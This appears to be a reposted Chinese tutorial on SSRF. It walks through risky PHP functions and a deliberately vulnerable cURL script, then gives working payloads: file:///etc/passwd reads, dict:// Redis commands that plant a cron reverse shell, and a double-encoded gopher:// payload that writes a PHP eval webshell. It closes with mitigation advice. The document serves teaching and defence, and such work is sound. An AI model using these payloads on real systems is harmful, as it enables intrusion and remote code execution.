SSRF—服务器请求伪造 漏洞详解

news2025/1/16 2:02:05

漏洞简述


SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造,由服务端发起请求的一个网络攻击,一般用来在外网探测或攻击内网服务,其影响效果根据服务器用的函数不同,从而造成不同的影响。
SSRF 形成的原因大都是由于服务端提供了从其他服务器获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

漏洞原理


Web服务器经常需要从别的服务器获取数据,比如文件载入、图片拉取、图片识别等功能,如果获取数 据的服务器地址可控,攻击者就可以通过web服务器自定义向别的服务器发出请求。因为Web服务器常 搭建在DMZ区域,因此常被攻击者当作跳板,向内网服务器发出请求。

漏洞危害


内网信息收集(如Web服务指纹识别、端口扫描、主机信息探测等)
② 通过构造payload攻击内网以及互联网应用(如Redis、tomcat、fastcgi、Memcache) 
③ 通过伪协议进行攻击(file、dict、gopher、http、https、telnet、ldap等) 
SSRF危险函数 :
SSRF危险函数在PHP中大致有这么几个: curl_exec()、file_get_content()、fopen()、fsockopen() 
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。

readfile():输出一个文件的内容。

fsockopen():打开一个网络连接或者一个Unix 套接字连接。

curl_init():初始化一个新的会话,返回一个cURL句柄,供cur_lsetopt(),curl_exec()和curl_close() 函数使用。

fopen():打开一个文件文件或者 URL。
SSRF漏洞利用的相关协议
file协议:在有回显的情况下,利用 file 协议可以读取任意文件的内容
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。
gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
http/https协议:探测内网主机存活
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议

漏洞利用 


所有调外部资源的参数都有可能存在ssrf漏洞,例 http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://外部url/1.png
1)分享:通过URL地址分享网页内容
2)转码服务
3)在线翻译
4)图片加载与下载:通过URL地址加载或下载图片
5)图片、文章收藏功能
6)未公开的api实现以及其他调用URL的功能
7)从URL关键字中寻找
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain

端口及服务探测 
使用如下代码进行测试 :
<?php
highlight_file(__FILE__);
header("Content-Type:text/html; charset=utf-8");

$url = $_REQUEST['url'];
// 创建一个cURL资源
$ch = curl_init();  //初始化一个curl会话
// 设置URL和相应的选项,更多选项可在phpstorm中使用使用Ctrl+左键点击参数项进行查看

curl_setopt($ch,CURLOPT_URL,$url);  //获取url传递的参数
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //如果不开启此选项则默认不跟随302跳转,除非代码中有Location
curl_setopt($ch, CURLOPT_RETURNTRANSFER,0);     //如果此选项被设置为FALSE,函数执行时会返回执行结果,如果为true的话需要使用echo等函数进行输出

//执行一个curl会话
curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
//echo $res;
?>
我们可以使用Burp中intruder模块对内网端口进行探测 
首先在Intruder模块中将端口设置为变量

通过返回包 length 长度以及 response 响应来判断该端口是否开放

file协议利用 
如果代码中存在echo等回显条件我们可以通过file协议来读取本地任意文件,前提条件是知道文件的绝 对路径。如果为Linux服务器的话利用方式也是一样的,如:file:///etc/passwd 或者c:/windows/win.ini

dict协议利用 
通过该协议可以查看服务的banner信息,通过收集到的信息扩大攻击面,如: dict://ip:6379/info 查看redis相关信息,如内网搭建了redis,就可使用该协议进行信息收集,从而 进一步利用。(dict协议也可通过发送指定命令来达到redis getshell的效果 。

dict://<host>:<port>/命令:参数 这里的:代表命令之间的空格 在redis未授权中可以使用如下命令
进行shell获取
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/set:1:nn*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1nn
dict://127.0.0.1:6379/save
详细可参考链接:https://www.cnblogs.com/wjrblogs/p/14456190.html
dict://ip:22/ 查看ssh相关版本信息

dict://ip:80 查看Web服务相关信息

gopher协议利用
经典组合拳SSRF+redis未授权访问Getshell,记得在之前面试的时候被问到过。 除了使用redis未授权,通过计划任务反弹shell以外,还可以通过redis写入文件,但需要知道该服务器 web绝对路径。
redis正常测试 :
# Keyspace
127.0.0.1:6379> FLUSHALL
OK
127.0.0.1:6379> set 1 '<?php phpinfo();?>'
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379> config set dir '/var/www/html/'
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>

在SSRF中使用gopher协议可以直接向未授权的redis写入shell
gopher://192.168.230.138:6379/_
*1
$8
flushall
*3
$3
set
$1
1
$39
<?php @eval($_REQUEST['1ndex']); ?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$10
shell2.php
*1
$4
save
其中 *n 代表着一条命令的开始,n 表示该条命令由 n 个字符串组成; $n 代表着该字符串有 n 个字符。 由于后端服务器与浏览器分别要对内容进行一次URL解码,所以payload要经过两次URL编码:
gopher%3A//xxx.xxx.xxx.xxx%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D
%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%25
2439%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_REQUEST%255B%25271
ndex%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%2524
6%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D
%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Acon
fig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%
252410%250D%250Ashell2.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%25
0A

gopher%3A//172.16.12.130%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252439%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_REQUEST%255B%25271ndex%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252410%250D%250Ashell2.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

dict与gopher协议最大的不同点在于dict必须依次进行命令的传入而不能一次执行所有命令,而 gopher协议则可以一条命令执行所有语句。

安全修复


1过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1623237.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

临时邮箱API有哪些功能特性?如何选择API?

临时邮箱API的安全性如何保障&#xff1f;电子邮箱API操作指南&#xff1f; 对于很多用户而言&#xff0c;临时邮箱API不仅仅是一个简单的工具&#xff0c;更是一个保护隐私、避免垃圾邮件侵扰的得力助手。那么&#xff0c;临时邮箱API究竟具备哪些功能特性呢&#xff1f;接下…

LeetCode-219. 存在重复元素 II

题目描述 给你一个整数数组 nums 和一个整数 k &#xff0c;判断数组中是否存在两个 不同的索引 i 和 j &#xff0c;满足 nums[i] nums[j] 且 abs(i - j) < k 。如果存在&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 示例 1&#xff1a; 输入&…

深度学习实践指南:打造强大AI应用的关键步骤和技巧

深度学习发展总图 深度学习发展总图 深度学习(deep learning)发展史 - 知乎 不同的神经元模型 麦卡洛克 - 皮茨神经元模型&#xff08;McCulloch - Pitts Neuron Model&#xff09; 麦卡洛克 - 皮茨神经元模型&#xff08;McCulloch - Pitts Neuron Model&#xff09;是模仿…

《深入解析windows操作系统》第1章读书笔记

1、服务&#xff1a;指操作系统中可以被调用的例程&#xff08;即函数&#xff0c;等价于系统调用&#xff1f;&#xff09;、设备驱动程序或者服务器进程。一些特定术语如下&#xff1a; 1&#xff09;Windows API函数&#xff1a;指Windows API中已经被文档化、可被调用的子例…

基层设备人如何开展TPM:从理念到实践的深度心得

在制造业的基层工作中&#xff0c;设备维护与管理如同稳固的基石&#xff0c;为生产流程的顺畅运作提供了坚实的保障。TPM&#xff0c;这一全面生产维护的理念&#xff0c;已在众多企业中落地生根&#xff0c;成为提升设备效能和企业竞争力的有力工具。那么&#xff0c;作为基层…

学习操作系统路线

操作系统 简介 本课程为计算机专业学生量身定制&#xff0c;补足计算机操作系统相关知识&#xff0c;查漏补缺&#xff0c;也可用于考研复习。内容包括&#xff1a;操作统概述、进程管理、内存管理、文件管理、输入/输出管理等章节。内容力求精炼、重点突出、条理清晰、深入浅…

【ruoyi-vue】axios的封装理解和基本使用

axios的配置 ruoyi的前端对axios进行了封装&#xff0c;让我们发get请求或者是post请求更加方便了。 ruoyi对axios的封装在下面文件中&#xff1a;打开文件&#xff0c;可以看到它有三个显眼的方法&#xff0c;分别是request拦截器、response拦截器和通用下载方法。ruoYi接口地…

LeetCode 315—— 计算右侧小于当前元素的个数

阅读目录 1. 题目2. 解题思路一3. 代码实现一4. 解题思路二5. 代码实现二 1. 题目 2. 解题思路一 参考 剑指 Offer——数组中的逆序对&#xff0c;我们依然借助于归并排序中的合并操作来计算某个元素右侧小于它的元素个数。 如上图最左边所示&#xff0c;第五行开始进行第一次…

Multitouch 1.27.28 免激活版 mac电脑多点触控手势增强工具

Multitouch 应用程序可让您将自定义操作绑定到特定的魔术触控板或鼠标手势。例如&#xff0c;三指单击可以执行粘贴。通过执行键盘快捷键、控制浏览器的选项卡、单击鼠标中键等来改进您的工作流程。 Multitouch 1.27.28 免激活版下载 强大的手势引擎 精心打造的触控板和 Magic …

js 模拟鼠标移动事件,并监听鼠标移动

代码实现 function simulateClick( x, y) {// 获取目标元素 const element document.querySelector("xxxxx"); // 创建一个鼠标移动事件 var mouseMoveEvent new MouseEvent(mousemove, {screenX: x window.screenX, screenY: y window.screenY, clientX: x,…

使用gdb调试遇到No symbol table is loaded. Use the “file“ command.怎么办?

问题排查 出现下面问题&#xff0c;通常是没有处于调式模式环境下&#xff0c;所以我们需要在gcc指令后加 【-g】。 因为&#xff0c;我么的gcc编辑器默认是动态链接&#xff0c;而且是realese发布版本。 想要解决也很简单 主要思路就是在gcc -g。 在makefile文件如下进行修改即…

cpp-tbox 之 RPC 通信服务

jsonrpc 序列化与反序列化基于的是json Proto 该类设计用于处理网络或传输层数据接收和发送&#xff0c;同时提供一些回调函数接口来定义如何处理接收到的数据和发送数据&#xff0c;也就是整个RPC的框架类 对于接收请求的回调函数&#xff0c;参数是请求id&#xff0c;方法…

科技云报道:AIGC掀算力需求革命,边缘计算将不再“边缘”

科技云报道原创。 随着以大模型为代表的AIGC时代拉开序幕&#xff0c;算力需求持续爆发&#xff0c;AI与边缘深度融合已是大势所趋&#xff0c;越来越多的企业开始积极布局GenAI。 GenAI技术的商用化部署和应用成为企业竞逐的新阵地&#xff0c;勾勒出大模型从“技术力”转向…

测试开发高频面试题(持续更新)

什么是测试开发以及其在软件开发流程中的作用。在过去项目中的测试策略和方法。是如何确保测试的全面性和质量的&#xff1f;讲解一下测试金字塔&#xff08;Test Pyramid&#xff09;模型&#xff0c;并解释各个层级的测试类型和其重要性。描述一下持续集成&#xff08;CI&…

AI:165-Coze自定义赛博风格Bot-图片生成操作指南

Coze是由字节跳动推出的一个AI聊天机器人和应用程序编辑开发平台&#xff0c;旨在帮助用户快速创建各种类型的聊天机器人、智能体、AI应用和插件&#xff0c;并将其部署在社交平台和即时聊天应用程序中&#xff0c;如Discord、WhatsApp、Twitter、飞书、微信公众号等。 这个平…

02、java语言为什么要配置环境变量?配置环境变量的两种方案?遇到问题的几种解决办法

探讨笔记 1、java 语言为什么要配置环境变量&#xff1f;其一、未配置环境变量之前&#xff0c;能否执行 java、javac 的命令&#xff1f;其二、未配置环境变量之前&#xff0c;在 Windows 命令行窗口&#xff0c;如何执行相关命令&#xff1f;其三、未配置环境变量之前&#x…

1小时学会SpringBoot3+Vue3前后端分离开发

首发于Enaium的个人博客 引言 大家可能刚学会Java和Vue之后都会想下一步是什么&#xff1f;那么就先把SpringBoot和Vue结合起来&#xff0c;做一个前后端分离的项目吧。 准备工作 首先你需要懂得Java和Vue的基础知识&#xff0c;环境这里就不多说了&#xff0c;直接开始。 …

Spring Boot-基础操作,常用工具,配置文件

lombok工具 首先将lombok的依赖引入 Lombok是一个实用的Java类库,能通过注解的形式自动生成构造器、getter/setter、equals、hashcode、toString等方法,并可以自动化生成日志变量,简化java开发、提高效率。 日志操作 自定义日志打印 有以下两步&#xff1a; 在一个类中先获…

Vue3 实现 Three.js粒子特效

效果 <template><div id"waves" /> </template><script setup> import { ref, onMounted, onUnmounted } from "vue"; import * as THREE from "three";const amountX ref(50); const amountY ref(50); const color …

MySQL统计一个表的行数,使用count(1), count(字段), 还是count(*)?

为什么要使用count函数&#xff1f; 在开发系统的时候&#xff0c;我们经常要计算一个表的行数。比如我最近开发的牛客社区系统&#xff0c;有一个帖子表&#xff0c;其中一个功能就是要统计帖子的数量&#xff0c;便于分页显示计算总页数。 CREATE TABLE discuss_post (id i…